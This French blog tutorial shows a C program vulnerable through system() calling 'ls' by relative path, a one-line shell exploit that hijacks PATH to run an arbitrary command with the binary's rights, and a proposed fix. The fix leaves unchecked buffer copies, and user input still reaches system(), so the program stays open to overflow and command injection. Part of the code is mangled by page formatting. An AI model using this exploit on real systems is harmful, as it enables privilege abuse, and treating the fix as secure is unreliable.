En langage C, le fonction system(), permet d'appeler un programme extérieur. La faille de system() consiste à détourner l'argument passé par la fonction system(). Le but étant d'être capable d'exécuter une commande arbitraire avec les droits de l'exécutable.





0x01. PROGRAMME VULNERABLE


 
// Source de exploit.c
 
void list()
{
  char rep[10];
  char cmd[20];
 
  printf("\\nDossier à lister: ");
  scanf("%s",rep);
  // Le programme est vulnerable car 'ls' n'est pas appelé par un chemin absolu
  strcpy(cmd,"ls ");
  strcat(cmd,rep);
  system(cmd);
  printf("\\n\\n");
}
 
int main()
{
  char rep;
 
  printf("\\n=== Menu ===\\n");
  printf("[d] afficher la date\\n");
  printf("[l] lister un dossier\\n");
  printf("
quitter le programme\\n");   scanf("%c",&rep);   switch(rep) { // Le programme est vulnerable car 'ls' n'est pas appelé par un chemin absolu case 'd': system("/bin/date"); break; case 'l': list(); break; case 'q': return(0); break; }   printf("\\n\\n"); return(1); }  




0x02. EXPLOIT


 
printf "Commande : " ; read cmd ; echo "$cmd" > ls ; chmod +x ls ; PATH=. ./vuln
 




0x03. CORRECTIF


 
  // Le programme n'est plus vulnerable car 'ls' est appelé par un chemin absolu
  strcpy(cmd,"/bin/ls ");
 



   =>   Écrit par : Nicolas, le 26 juillet 2015


 
Mots clés :  
  reverse 
  
  c 
    >   Articles connexes :

GDB - Cas d'école



Format String


Le "format string" est une vulnérabilité lié au paramètre qu'il est possible de donner à l'instruction printf et ses dérivés. Nous allons l'exploiter dans un cas d'école

Comment gagner du temps sur Internet



/tmp et /var/log en noexec sur macOS



2025499